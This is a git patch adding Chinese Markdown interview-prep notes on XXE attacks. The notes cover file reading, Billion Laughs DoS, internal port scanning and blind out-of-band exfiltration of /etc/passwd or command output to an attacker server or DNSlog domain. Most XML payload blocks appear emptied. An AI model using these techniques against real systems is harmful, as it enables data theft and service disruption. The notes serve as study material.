From 1ef68405a38649d20da85748f80e9c9109c7cbe4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=9B=BE=E5=B3=B6=E9=A3=8E=E8=B5=B7=E6=99=82?= Date: Thu, 25 Sep 2025 03:53:54 +0800 Subject: [PATCH] Add files via upload --- Chapter11/11-1.md | 77 +++++++++++++++++++++++++++++ Chapter11/11-2.md | 118 ++++++++++++++++++++++++++++++++++++++++++++ Chapter11/11-3.md | 40 +++++++++++++++ Chapter11/README.md | 19 +++++++ 4 files changed, 254 insertions(+) create mode 100644 Chapter11/11-1.md create mode 100644 Chapter11/11-2.md create mode 100644 Chapter11/11-3.md diff --git a/Chapter11/11-1.md b/Chapter11/11-1.md new file mode 100644 index 0000000..c877d01 --- /dev/null +++ b/Chapter11/11-1.md @@ -0,0 +1,77 @@ +### XXE 漏洞利用方式 + +**1. 文件读取(最常见)** + +这是 XXE 漏洞最经典的利用方式,攻击者可以利用外部实体来读取服务器上的任意文件,例如`/etc/passwd`、Web 应用配置文件等 + +- **利用原理**:攻击者在 XML 文档中定义一个外部实体,实体的值为一个本地文件路径。当 XML 解析器解析该实体时,就会去读取并返回该文件的内容 + +- **利用步骤**: + + 1. **构造恶意 DTD**:攻击者在 XML 文档的 DOCTYPE 声明中定义一个外部实体,通常使用 `SYSTEM` 关键字。 + - 例如:`]>` + 2. **引用实体**:在 XML 文档的主体中引用该实体。 + - 例如:`&xxe;` + +- **完整示例**: + + ```xml + + + ]> + + &xxe; + + ``` + + 当服务器解析这个 XML 时,在 `` 标签中就会回显 `/etc/passwd` 文件的内容 + +**2. 拒绝服务攻击(DoS)** + +攻击者可以利用 XXE 漏洞,通过“递归引用”或“大量实体引用”的方式,使 XML 解析器进入死循环或消耗大量系统资源,从而导致服务崩溃 + +- **利用原理**:利用 XML 实体可以相互引用的特性,构造一个无限递归或指数级爆炸的实体 + +- **经典示例**:**十亿笑脸攻击(Billion Laughs Attack)** + + ```xml + + + + + + + + + + + ]> + &lol9; + ``` + + 这个 XML 文件虽然很小,但在解析时,`` 实体会扩展为数十亿个“lol”,消耗巨大的内存和 CPU 资源,最终导致服务器崩溃 + +**3. 内网端口扫描** + +攻击者可以利用 XXE 漏洞探测服务器所在内网中其他主机的开放端口 + +- **利用原理**:攻击者构造外部实体,让 XML 解析器去尝试连接内网 IP 和端口。如果端口开放,XML 解析会成功或返回特定的错误信息;如果端口关闭,则会返回连接超时等错误,通过错误信息来判断端口状态 +- **利用方式**: + 1. **定义外部实体**:`` + 2. **发送请求**:让服务器去访问内网 IP 的端口 + 3. **观察响应**:如果服务器返回了“连接被拒绝”等信息,说明端口是关闭的。如果返回了“连接超时”或成功连接,则说明端口可能是开放的 + +**4. 盲 XXE(Blind XXE)** + +如果服务器没有将 XML 解析结果回显到前端,攻击者就无法直接看到文件内容,这时就需要利用**带外(Out-of-Band)通信**来获取信息 + +- **利用原理**:攻击者利用外部实体向自己的服务器发送请求,并在 URL 中携带需要读取的文件内容 +- **利用步骤**: + 1. **构造外部实体**:攻击者在自己的服务器上搭建一个 HTTP 服务来监听请求 + - 例如:`` + - `">` + 2. **远程引用**:在主 XML 中引用攻击者的 DTD 文件 + - `` + - 当服务器解析这个 DTD 时,就会将 `/etc/passwd` 文件的内容发送到攻击者的服务器上 \ No newline at end of file diff --git a/Chapter11/11-2.md b/Chapter11/11-2.md new file mode 100644 index 0000000..0c68702 --- /dev/null +++ b/Chapter11/11-2.md @@ -0,0 +1,118 @@ +### XXE 盲注思路 + +**1. 基础的带外请求(OOB)** + +这是 XXE 盲注最基本的利用方式。我们首先要确认服务器是否存在 XXE 漏洞,即使没有回显 + +- **攻击步骤:** + + 1. **准备攻击服务器:** 搭建一个 Web 服务器(例如使用 Python 的 `SimpleHTTPServer`)或利用**DNSlog**平台 + + 2. **构造恶意 XML 实体:** + + ```xml + + + %p1; + ]> + + ``` + + 3. **发送请求:** 将上述 XML 作为请求体发送到目标服务器 + + 4. **确认存在漏洞:** 如果你的服务器收到了来自目标 IP 的 `GET /test` 请求,就说明服务器存在 XXE 漏洞 + +**2. 利用带外请求获取文件内容** + +确认漏洞存在后,下一步就是尝试读取服务器上的文件 + +- **攻击步骤:** + + 1. **构造恶意 DTD 文件:** 在你的攻击服务器上,创建一个 DTD 文件(例如 `evil.dtd`),内容如下: + + ```xml + + + ``` + + 2. **构造主 XML 请求:** + + ```xml + + + %p1; + %send; + ]> + + ``` + + 3. **发送请求:** + + - 当服务器解析主 XML 文件时,它会首先请求 `evil.dtd` + - 解析 `evil.dtd` 后,它会读取 `file:///etc/passwd` 的内容,并将其作为 `%file` 实体的值 + - 最后,它会请求 `%send` 实体,将文件内容作为 `GET` 参数发送到你的服务器 + + 4. **接收数据:** 你会在你的服务器日志中看到类似 `GET /?data=root:x:0:0:root:/root:/bin/bash...` 的请求,从而获取 `/etc/passwd` 的内容 + +**3. 利用参数实体获取错误信息** + +当无法通过 HTTP GET 请求直接传输数据时,可以利用 XML 解析器的错误信息来带出数据。这种方法通常用于绕过 WAF 或一些过滤 + +- **攻击步骤:** + + 1. **构造恶意 DTD 文件:** 在你的服务器上创建 DTD 文件,内容如下: + + ```xml + + "> + ``` + + 2. **构造主 XML 请求:** + + ```xml + + + + %dtd; + %p1; + %oob; + ]> + + ``` + + 3. **发送请求:** + + - 服务器解析主 XML 时,会首先加载 `evil.dtd` + - 然后,它会尝试解析 `%p1`,其中包含 `%oob` 的定义 + - 由于 `%oob` 实体引用了 `%file`,而 `%file` 是一个文件内容,当 XML 解析器尝试将其解析为 URL 时,会因为语法错误而失败,并抛出错误信息 + + - **这种方法的关键在于,某些 XML 解析器会把完整的错误信息(包括外部实体的内容)带回给客户端,或者将其写入服务器日志。** 虽然不能直接从响应中看到,但可以利用这个特性进行注入 + +**4. 利用 DNSlog 获取数据** + +当目标服务器无法出网,或者 HTTP 协议被严格过滤时,DNSlog 是一个非常好的选择 + +- **攻击步骤:** + + 1. **准备 DNSlog 平台:** 获取一个 DNSlog 域名,例如 `hacker.dnslog.cn` + + 2. **构造 XML 请求:** + + ```xml + + + %p1; + ]> + + ``` + + 3. **发送请求:** + + - 服务器解析 XML 时,会尝试解析 `whoami` 命令的输出,并将其作为子域名,向 `hacker.dnslog.cn` 发起 DNS 查询 + + 4. **查看结果:** 你会在 DNSlog 平台的日志中看到类似 `www-data.hacker.dnslog.cn` 的查询记录,从而获取到 `whoami` 命令的输出 \ No newline at end of file diff --git a/Chapter11/11-3.md b/Chapter11/11-3.md new file mode 100644 index 0000000..8187271 --- /dev/null +++ b/Chapter11/11-3.md @@ -0,0 +1,40 @@ +### PCDATA 和 CDATA 的区别 + +**PCDATA** + +PCDATA 是 **可解析字符数据**。在XML或HTML中,当解析器遇到 PCDATA 时,它会解析其中的特殊字符。这意味着,如果你的数据中包含 `<`、`>`、`&` 等字符,解析器会将其视为标签或实体的开始 + +例如,在XML中: + +```xml + + 这是一个 <b>粗体</b> 文本。 + +``` + +这里的 `<` 会被解析成 `<`,`>` 会被解析成 `>`。如果你在XML元素中直接写入 ` 等代码。 | 除非应用程序对 CDATA 块本身进行了处理或二次解析,否则在 CDATA 内部直接进行注入攻击是无效的。 | \ No newline at end of file diff --git a/Chapter11/README.md b/Chapter11/README.md index 8b13789..9eecb4f 100644 --- a/Chapter11/README.md +++ b/Chapter11/README.md @@ -1 +1,20 @@ +# 网安面试题(涵盖护网、红队、逆向、二进制) +上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!! + +HR:请问………… + +我:叽里咕噜说啥呢,看看八股文上写了没 + +(Summary.md 是目录噢!!) + +**🙏 特别感谢名单** + +在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后) + +- **@用户名1** —— 提供了大量安全面试题方向的补充 +- **@用户名2** —— 纠正了多个问题的答案与表述 +- **@用户名3** —— 贡献了真实面试题经验分享 +- **@用户名4** —— 对内容结构与目录提出改进建议 + +如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字